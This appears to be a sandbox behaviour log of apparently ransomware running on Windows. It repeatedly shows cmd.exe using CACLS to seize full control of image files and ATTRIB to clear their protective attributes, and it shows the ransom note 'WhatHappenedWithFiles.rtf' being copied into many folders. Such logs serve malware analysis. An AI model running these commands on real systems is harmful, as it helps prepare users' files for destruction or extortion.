C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\DEVICE~1\Device\{8702D~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\MF\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\OFFICE\UICAPT~1\1036\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\OFFICE\UICAPT~1\3082\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\USERAC~1\DEFAUL~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\USERAC~1\WhatHappenedWithFiles.rtf"5⤵
-
-
